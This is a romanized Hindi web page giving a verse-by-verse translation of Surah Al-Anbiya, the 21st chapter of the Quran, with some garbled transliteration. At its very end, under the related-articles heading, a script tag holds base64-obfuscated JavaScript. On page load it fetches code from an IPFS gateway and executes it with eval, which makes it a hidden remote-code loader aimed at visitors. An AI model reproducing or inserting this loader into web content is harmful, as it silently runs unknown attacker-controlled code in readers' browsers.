अल-अंबिया

al-aanbiya islam dharm ke pavitr granth quran ka 21vaan soora (adhyay) hai jisamean 112 ayatean hoti haian.
21:1- logoan ke pas unaka hisab (usaka vakt) aa pahuancha aur vah hai ki gafalat mean p de muanh mo de hi jate haian
21::2-jab unake paravaradigar ki taraph se unake pas koee naya hukm ata hai to use sirph kan lagakar sun lete haian aur (phir usaka) hansi khel u date haian
21:3- unake dil (akhirat ke khyal se) bilkul bekhabar haian aur ye zalim chupake-chupake kanaphoosi kiya karate haian ki ye shakhs (mohammad kuchh bhi nahian) bas tumhare hi sa adami hai to kya tum din v danista jadoo mean phansate ho
21:4- (to us par) rasool ne kaha ki mera paravaradigar jitani batean asaman aur zamin mean hoti haian khoob janata hai (phir kyoan kanaphoosi karate ho) aur vah to b da sunane vala vaqifakar hai
21:5- (us par bhi un logoan ne iktifa n ki) balki kahane lage (ye quran to) khabahay parishaan ka majamooa hai balki usane khud apane ji se jhoot-moot gadh liya hai balki ye shakhs shayar hai aur agar haqikatan rasool hai) to jis tarah agale paigambar maujizoan ke sath bheje ge the
21:6- usi tarah ye bhi koee maujiza (jaisa ham kahean) hamare pas bhala lae to sahi inase pahale jin bastiyoan ko tabah kar dala (maujize bhi dekhakar to) eeman n lae
21:7- to kya ye log eeman laeange aur ai rasool hamane tumase pahale bhi adamiyoan hi ko (rasool banakar) bheja tha ki unake pas vahi bheja karate the to agar tum log khud nahian janate ho to alimoan se pooanchhakar dekho
21:8- aur hamane un (paigambaroan) ke badan aise nahian banae the ki vah khana n khaean aur n vah (duniya mean) hamesha rahane sahane vale the
21:9- phir hamane unhean (apana azab ka) vayada sachcha kar dikhaya (aur jab azab a pahuancha) to hamane un paigambaroan ko aur jis jisako chaha chhutakara diya aur had se badh jane valoan ko halak kar dala
21:10- hamane to tum logoan ke pas vah kitab (quran) nazil ki hai jisamean tumhara (bhi) zikre (khair) hai to kya tum log (itana bhi) samajhate
21:11- aur hamane kitani bastiyoan ko jinake rahane vale sarakash the barabad kar diya aur unake bad doosare logoan ko paida kiya
21:12- to jab un logoan ne hamare azab ki ahat paee to eka eki bhagane lage
21|13- (hamane kaha) bhago nahian aur unhian bastiyoan aur gharoan mean laut jao jinamean tum chain karate the taki tumase kuchh poochhagachh ki jae
21:14- vah log kahane lage hae hamari shamat beshak ham sarakash to zaroor the
21:15- garaz vah barabar yahi p de pukara kie yahaan tak ki hamane unhean kati huee kheti ki tarah bichha ke thanda karake dher kar diya
21:16- aur hamane asaman aur zamin ko aur jo kuchh in donoan ke daramiyan hai bekar lago nahian paida kiya
21:17- agar ham koee khel banana chahate to beshak ham use apani tajaviz se bana lete agar hamako karana hota (magar hamean shayan hi n tha)
21:18- balki ham to haq ko nahaq (ke sar) par khianch marate haian to vah bilkul ke sar ko kuchal deta hai phir vah usi vakt nestavenabood ho jata hai aur tum par afasos hai ki aisi-aisi nahaq batean banaye karate ho
21:19- halaanki jo log (pharishte) asaman aur zamin mean haian (sab) usi ke (bande) haian aur jo (pharishte) us sarakar mean haian n to vah usaki ibadat ki shekhi karate haian aur n thakate haian 21:20- rat aur din usaki tasbih kiya karate haian (aur) kabhi kahili nahian karate
21:21- un logoan jo mabood zamin mean bana rakhe haian kya vahi (logoan ko) zinda kareange
21:22- agar bafarane muhal) zamin v asaman mean khuda ki siva chand mabood hote to donoan kab ke barabad ho ge hote to jo batean ye log apane ji se (usake bare mean) banaya karate haian khuda jo arsh ka malik hai un tamam aiboan se pak v pakiza hai
21:23- jo kuchh vah karata hai usaki poochhagachh nahian ho sakati
21:24- (haan) aur un logoan se bazapurs hogi kya un logoan ne khuda ko chho dakar kuchh aur mabood bana rakhe haian (ai rasool) tum kaho ki bhala apani dalil to pesh karo jo mere (zamane mean) sath hai unaki kitab (quran) aur jo log mujh se pahale the unaki kitabean (tauret vagairah) ye (maujood) haian (unamean khuda ka sharik bata do) balki unamean se aksar to haq (bat) ko to janate hi nahian
21:25- to (jab haq ka zikr ata hai) ye log muanh pher lete haian aur (ai rasool) hamane tumase pahale jab kabhi koee rasool bheja to usake pas vahi bhejate rahe ki bas hamare siva koee mabood qabile parasatish nahian to meri ibadat kiya karo
21:26- aur (ahale makka) kahate haian ki khuda ne (pharishtoan ko) apani aulad (betiyaan) bana rakha hai (halaanki) vah usase pak v pakiza haian balki (vah farishte) (khuda ke) moajzi bande haian
21:27- ye log usake samane badhakar bol nahian sakate aur ye log usi ke hukm par chalate haian
21:28- jo kuchh unake samane hai aur jo kuchh unake pichhe hai (garaz sab kuchh) vah (khuda) janata hai aur ye log us shakhs ke siva jisase khuda razi ho kisi ki sipharish bhi nahian karate aur ye log khud usake khauph se (har vakt) darate rahate haian
21:29- aur unamean se jo koee ye kah de ki khuda nahian (balki) maian mabood hooan to vah (maradood baragah hua) ham usako jahannum ki saza deange aur sarakashoan ko ham aisi hi saza dete haian 21:30- jo log kaphir ho baithe kya un logoan ne is bat par gaur nahian kiya ki asaman aur zamin donoan basta (band) the to hamane donoan ko shigafata kiya (khol diya) aur ham hi ne janadar chiz ko pani se paida kiya is par bhi ye log eeman n laeange
21:31- aur ham hi ne zamin par bhari bojhal paha d banae taki zamin un logoan ko lekar kisi taraph jhuk n p de aur ham ne hi usamean lambe-chau de raste banae taki ye log apane-apane manzilean maqasood ko ja pahuanche
21:32- aur ham hi ne asaman ko chhat banaya jo har tarah mahaphooz hai aur ye log usaki asamani nishaniyoan se muanh pher rahe haian
21:33- aur vahi vah (qadire muttaliq) hai jisane rat aur din aur afatab aur mahatab ko paida kiya ki sab ke sab ek (ek) asaman mean pair kar chakmar laga rahe haian
21:34- aur (ai rasool) hamane tumase pahale bhi kisi farde bashar ko sada ki zindagi nahian di to kya agar tum mar jaoge to ye log hamesha jiya hi kareange
21:35- (har shakhs ek n ek din) maut ka maza chakhane vala hai aur ham tumhean musibat v rahat mean imtihan ki garaz se azamate haian aur (akhikar) hamari hi taraph lautae jaoge
21:36- aur (ai rasool) jab tumhean kuphfar dekhate haian to bas tumase masakharapan karate haian ki kya yahi hazarat haian jo tumhare maboodoan ko (buri tarah) yad karate haian halaanki ye log khud khuda ki yad se inkar karate haian (to inaki bevakoofi par hansana chahie)
21:37- adami to b da jaldabaz paida kiya gaya hai maian anaqarib hi tumhean apani (kudarat ki) nishaniyaan dikhaooanga to tum mujhase jaldi ki (ddoom) n machao
21:38- aur lutf to ye hai ki kahate haian ki agar sachche ho to ye qayamat ka vayada kab (poora) hoga
21:39- aur jo log kafir ho baithe kash us vakt qi halat se agah hote (ki jahannum ki ag mean khade hoange) aur n apane cheharoan se ag ko hata sakeange aur n apani pith se aur n unaki madad ki jaegi
21:40- (qayamat kuchh jata kar to ane se rahi) balki vah to achanak un par a p degi aur unhean hakka bakka kar degi phir us vakt usamean n usake hatane ki majal hogi aur n unhean hi di jaegi
21:41- aur (ai rasool) kuchh tum hi nahian tumase pahale paigambaroan ke sath masakharapan kiya ja chuka hai to un paigambaroan se masakharapan karane valoan ko us sakht azab ne a gher liya jisaki vah hansi u daya karate the
21:42- (ai rasool) tum unase poochho to ki khuda (ke azab) se (bachane mean) rat ko ya din ko tumhara kaun pahara de sakata hai us par darana to dar kinar balki ye log apane paravaradigar ki yad se muanh pherate haian
21:43- kya hamaro siva unake kuchh aur paravaradigar haian ki jo unako (hamare azab se) bacha sakate haian (vah kya bachaeange) ye log khud apani ap to madad kar hi nahian sakate aur n hamare azab se unhean panah di jaegi
21:44- balki ham hi ne unako aur unake burjugoan ko aram v chain raha yahaan tak ki unaki umrean badh gee to phir kya ye log nahian dekhate ki ham rooe zamin ko charoan taraph se qabza karate aur usako phateh karate chale ate haian to kya (ab bhi yahi log kuphfare makka) galib aur var haian
21:45- (ai rasool) tum kah do ki maian to bas tum logoan ko vahi ke mutabiq़ (azab se) darata hooan (magar tum log goya bahare ho) aur baharoan ko jab daraya jata hai to vah pukarane hi ko nahian sunate (darean kya khak)
21:46- aur (ai rasool) agar kahian unako tumhare paravaradigar ke azab ki zara si hava bhi lag gee to ve sakht! bol uthe hay aphasos vaqee ham hi zalim the
21:47- aur qayamat ke din to ham (bandoan ke bhale bure amal taulane ke lie) insaf ki tarazoo mean kh di kar deange to phir kisi shakhs par kuchh bhi zulm n kiya jaega aur agar raee ke dane ke barabar bhi kisi ka (amal) hoga to tum use la hazir kareange aur ham hisab karane ke vaste bahut kafi haian
21:48- aur ham hi ne yaqinan moosa aur haroon ko (haq v batil ki) juda karane vali kitab (tauret) aur parahezagaroan ke lie azasaratapa banooan aur nasihat ata ki
21:49- jo be dekhe apane paravaradigar se khauph khate haian aur ye log roze qayamat se bhi darate haian
21:50- aur ye (quran bhi) ek babarakat tazakira hai jisako hamane utara hai to kya tum log isako nahian manate
21:51- aur isamean bhi shak nahian ki hamane ibarahim ko pahale hi se fahem salim ata ki thi aur ham un (ki halat) se khoob vaqiph the
21:52- jab unhoanne apane (muanh bole) bap aur apani qaum se kaha ye moorte jinaki tum log mujabiri karate ho akhir kya (bala) hai
21:53- vah log bole (aur to kuchh nahian janate magar) apane bade boodhoan ko inahi ki parasatish karate dekha hai
21:54- ibarahim ne kaha yaqinan tum bhi aur tumhare burjug bhi khuli hueegumarahi mean p de hue the
21:55- vah log kahane lage to kya tum hamare pas haq bat lekar ae ho ya tum bhi (yooan hi) dillagi karate ho
21:56- ibarahim ne kaha mazak nahian thik kahata hooan ki tumhare mabood v but nahian balki tumhara paravaradigar asaman v zamin ka malik hai jisane unako paida kiya aur maian khud is bat ka tumhare samane gavah hooan
21:57- aur apane ji mean kaha khuda ki qasam tumhare pith pherane ke bad mean tumhare butoan ke sath ek chal chalooanga
21:58- chunanche ibarahim ne un butoan ko (to dakar) chakanachoor kar dala magar unake b de but ko (isalie rahane diya) taki ye log eed se palatakar usaki taraph roojoo karean
21:59- (jab kuphfar ko maloom hua) to kahane lage jisane ye gustakhi hamare maboodoan ke sath ki hai usane yaqini b da zulm kiya.
21:60- (kuchh log) kahane lage hamane ek naujavan ko jisako log ibarahim kahate haian un butoan ka (buri tarah) zikr karate suna tha.
21:61- logoan ne kaha to achchha usako sab logoan ke samane (giraphtar karake) le ao taki vah (jo kuchh kahean) log usake gavah rahean.
21:62- (garaz ibarahim ae) aur logoan ne unase poochha ki kyoan ibarahim kya tumane maboodoan ke sath ye harakat ki hai.
21:63- ibarahim ne kaha balki ye harakat in butoan (khudaoan) ke b de (khuda) ne ki hai to agar ye but bol sakate hoan to unahi se poochh dekho.
21:64- is par un logoan ne apane ji mean socha to (ek doosare se) kahane lage beshak tum hi log khud bar sare nahaq ho.
21:65- phir un logoan ke sar isi gumarahi mean jhuka die ge (aur to kuchh ban n p da magar ye bole) tumako to achchhi tarah maloom hai ki ye but bola nahian karate.
21:66- (phir inase kya poochhe) ibarahim ne kaha to kya tum log khuda ko chho dakar aisi chizoan ki parasatish karate ho jo n tumhean kuchh napha hi pahuancha sakati hai aur n tumhara kuchh nuqasan hi kar sakati hai.
21:67- taph hai tum par us chiz par jise tum khuda ke siva poojate ho to kya tum itana bhi nahian samajhate.
21:68- (akhir) vah log (baham) kahane lage ki agar tum kuchh kar sakate ho to ibarahim ko ag mean jala do aur apane khudaoan ki madad karo.
21:69- (garaz) un logoan ne ibarahim ko ag mean dal diya to hamane faramaya ai ag too ibarahim par bilkul thandi aur salamati ka bais ho ja.
21:70- (ki unako koee takalif n pahuanche) aur un logoan mean ibarahim ke sath chalabazi karani chahi thi to hamane in sab ko nakam kar diya.
21:71- aur ham ne hi ibarahim aur loot ko (sarakashoan se) sahi v salim nikalakar is sar zamin (sham baitulamuqaddas) mean ja pahuanchaya jisamean hamane sare jahaann ke lie tarah-tarah ki barakat ata ki thi.
21:72- aur hamane ibarahim ko inam mean isahaq (jaisa baita) aur yakoob (jaisa pota) inayat pharamaya hamane sabako nek bakht banaya.
21:73- aur un sabako (logoan ka) peshava banaya ki hamare hukm se (unaki) hidayat karate the aur hamane unake pas nek kam karane aur namaz padhane aur zakat dene ki vahi bheji thi aur ye sab ke sab hamari hi ibadat karate the.
21:74- aur loot ko bhi ham hi ke fahame salim aur naboovat ata ki aur ham hi ne us basti se jahaan ke log badakariyaan karate the najat di isamean shak nahian ki vah log b de badakar adami the.
21:75- aur hamane loot ko apani rahamat mean dakhil kar liya isamean shak nahian ki vah nekoankar bandoan mean se the.
21:76- aur (ai rasool loot se bhi) pahale (hamane) nooh ko naboovat par fayaz kiya jab unhoanne (hamako) avaz di to hamane unaki (dua) sun li phir unako aur unake sathiyoan ko (toofan ki) b di sakht musibat se najat di.
21:77- aur jin logoan ne hamari ayatoan ko jhuthalaya tha unake muqabale mean unaki madad ki beshak ye log (bhi) bahut bure log the to hamane un sabako dubo mara.
21:78- aur (ai rasool inako) daood aur suleman ka (vakya yad dilao) jab ye donoan ek kheti ke bare mean jisamean rat ke vakt quchh logoan ki bakariyaan (ghusakar) char gee thi phaisala karane baithe aur ham un logoan ke qisse ko dekh rahe the (ki baham ikhatelaf hua).
21:79- to hamane suleman ko (isaka sahi faisala samajha diya) aur (yooan to) sabako ham hi ne phahame salim aur ilm ata kiya aur ham hi ne paha doan ko daood ka tabee bana diya tha ki unake sath (khuda ki) tasbih kiya karate the aur parindoan ko (bhi tabee kar diya tha) aur ham hi (ye azab) kiya karate the.
21:80- aur ham hi ne unako tumhari jangi poshish (zirah) ka banana sikha diya taki tumhean (ek doosare ke) var se bachae to kya tum (ab bhi) usake shukraguzar banoge.
21:81- aur (ham hi ne) b de zoroan ki hava ko suleman ka (tabee kar diya tha) ki vah unake hukm se is sarazamin (baitulamuqaddas) ki taraph chala karati thi jisamean hamane tarah-tarah ki barakatean ata ki thi aur ham to har chiz se khoob vaqif the (aur) hai.
21:82- aur jinnat mean se jo log (samandar mean) gota lagakar (javaharat nikalane vale) the aur usake alava aur kam bhi karate the (suleman ka tabee kar diya tha) aur ham hi unake nigehaban the.
21:83- (ki bhag n jaean) aur (ai rasool) ayyoob (ka qissa yad karo) jab unhoanne apane paravaradigar se dua ki ki (khuda vand) bimari to mere pichhe lag gee hai aur too to sab raham karane valoanse (badh kar hai mujh par taras kha).
21:84- to hamane unaki dua kubool ki to hamane unaka jo kuchh dard du:kh tha dafa kar diya aur unhean unake l dake vale balki unake sath utani hi aur bhi mahaz apani khas meharabani se aur ibadat karane valoan ki ibarat ke vaste ata kie.
21:85- aur (ai rasool) isamaeel aur idaris aur julakiphl (ke vaqayat se yad karo) ye sab sabir bande the.
21:86- aur hamane un sabako apani (khas) rahamat mean dakhil kar liya beshak ye log nek bande the.
21:87- aur junnoon (yoonus ko yad karo) jabaki gusse mean akar chalate hue aur ye khyal n kiya ki ham un par rozi tang n kareange (to hamane unhean machhali ke pet mean pahuancha diya) to (ghatatop) aandhere mean (ghabarakar) chilla utha ki (paravaradigar) tere siva koee mabood nahian too (har aib se) pak v pakiza hai beshak maian kusooravar hooan.
21:88- to hamane unaki dua kubool ki aur unhean ranj se najat di aur ham to eemanavaloan ko yooan hi najat diya karate haian.
21:89- aur zakariya (ko yad karo) jab unhoanne (mayoos ki halat mean) apane paravaradigar se dua ki ai mere palane vale mujhe tanha (be aulad) n chho d aur too to sab varisoan se behatar hai.
21:90- to hamane unaki dua sun li aur unhean yahaya sa beta ata kiya aur hamane unake lie unaki bibi ko achchhi bata diya isamean shak nahian ki ye sab nek kamoan mean jaldi karate the aur hamako b di ragabat aur khauph ke sath pukara karate the aur hamare age gi dagi daya karate the.
21:91- aur (ai rasool) us bibi ko (yad karo) jisane apani azamat ki hiphazat ki to hamane un (ke pet) mean apani taraph se rooh phooank di aur unako aur unake bete (eesa) ko sare jahaann ke vaste (apani qudarat ki) nishani banaya.
21:92- beshak ye tumhara din (islam) ek hi din hai aur maian tumhara paravaradigar hooan to meri hi ibadat karo.
21:93- aur logoan ne baham (ikhatelaf karake) apane din ko tuk de -tuk de kar dala (halaanki) vah sab ke sab hiraphir ke hamare hi pas ane vale haian.
21:94- (us vakt faisala ho jaega ki) to jo shakhs achchhe-achchhe kam karega aur vah eemanavala bhi ho to usaki koshish akarat n ki jaegi aur ham usake amal likhate jate haian.
21:95- aur jis basti ko hamane tabah kar dala mumakin nahian ki vah log qayamat ke din hiraphir ke se (hamare pas) n laute.
21:96- bas itana (tavakkuf to zaroor hoga) ki jab yajooj majooj (sadde sikandari) ki kaid se khol die jaeange aur ye log (zamin ki) har bulandi se dau date hue nikal p de.
21:97- aur qayamat ka sachcha vayada nazadik a jae to phir kaphiroan ki aauankhean ek dam se pathara di jaean (aur kahane lage) hay hamari shamat ki ham to is (din) se gaphalat hi mean (p de) rahe balki (sach to yooan hai ki apane oopar) ham ap zalim the.
21:98- (us din kiha jaega ki ai kuphfar) tum aur jis chiz ki tum khuda ke siva parasatish karate the yaqinan jahannum ki eedhan (jalavan) hoange (aur) tum sabako usamean utarana p dega.
21:99- agar ye (sachche) mabood hote to unhean dozakh mean n jana p data aur (ab to) sabake sab usi mean hamesha raheange.
21|100- un logoan ki dozakh mean chiangha d hogi aur ye log (apane shor v gul mean) kisi ki bat bhi n sun sakeange.
21:101- zaban alabatta jin logoan ke vaste hamari taraph se pahale hi bhalaee (taqadir mean likhi ja chuki) vah log dozakh se door hi door rakhe jaeange.
21:102- (yahaan tak) ki ye log usaki bhanak bhi n suneange aur ye log hamesha apani manamaangi muradoan mean (chain se) raheange.
21:103- aur unako (qayamat ka) b de se b da khauf bhi dahashat mean n laega aur farishte un se khushi-khushi mulaqat kareange aur ye khushakhabari deange ki yahi vah tumhara (khushi ka) din hai jisaka (duniya mean) tumase vayada kiya jata tha.
21:104- (ye) vah din (hoga) jab ham asaman ko is tarah lapetege jis tarah khatoan ka toomar lapeta jata hai jis tarah hamane (makhalooqat ko) pahali bar paida kiya tha (usi tarah) dobara (paida) kar chho degean (ye vah) vayada (hai jisaka karana) ham par (lazim) hai aur ham use zaroor karake raheange.
21:105- aur hamane to nasihat (tauret) ke bad yaqinan juboor mean likh hi diya tha ki rooe zamin ke varis hamare nek bande hoange.
21:106- isamean shak nahian ki isamean ibadat karane valoan ke lie (ehakamean khuda ki) tabalig hai.
21:107- aur (ai rasool) hamane to tumako sare duniya jahaann ke logoan ke haq mean azasaratapa rahamat banakar bheja.
21:108- tum kah do ki mere pas to bas yahi vahi aee hai ki tum logoan ka mabood bas yakata khuda hai to kya tum (usake) pharamabaradar bande banate ho.
21:109- phir agar ye log (us par bhi) muanh pherean to tum kah do ki maianne tum sabako yakasaan khabar kar di hai aur maian nahian janata ki jis (azab) ka tumase vayada kiya gaya hai qarib a pahuancha ya (abhi) door hai.
21:110- isamean shak nahian ki vah us bat ko bhi janata hai jo pukar kar kahi jati hai aur jise tum log chhipate ho usase bhi khoob vaqiph hai.
21:111- aur maian ye bhi nahian janata ki shayad ye (takhire azab tumhare) vaste imtihan ho aur ek muayyun muddat tak (tumhare lie) chain ho.
21:112- (akhir) rasool ne dua ki ai mere palane vale too thik-thik mere aur kaphiroan ke daramiyan phaisala kar de aur hamar paravaradigar b da meharaban hai ki usi se in batoan mean madad maangi jati hai jo tum log bayan karate ho.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• al-aanbiya
• Surah Al-Anbiyaa / সূরা আম্বিয়া

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>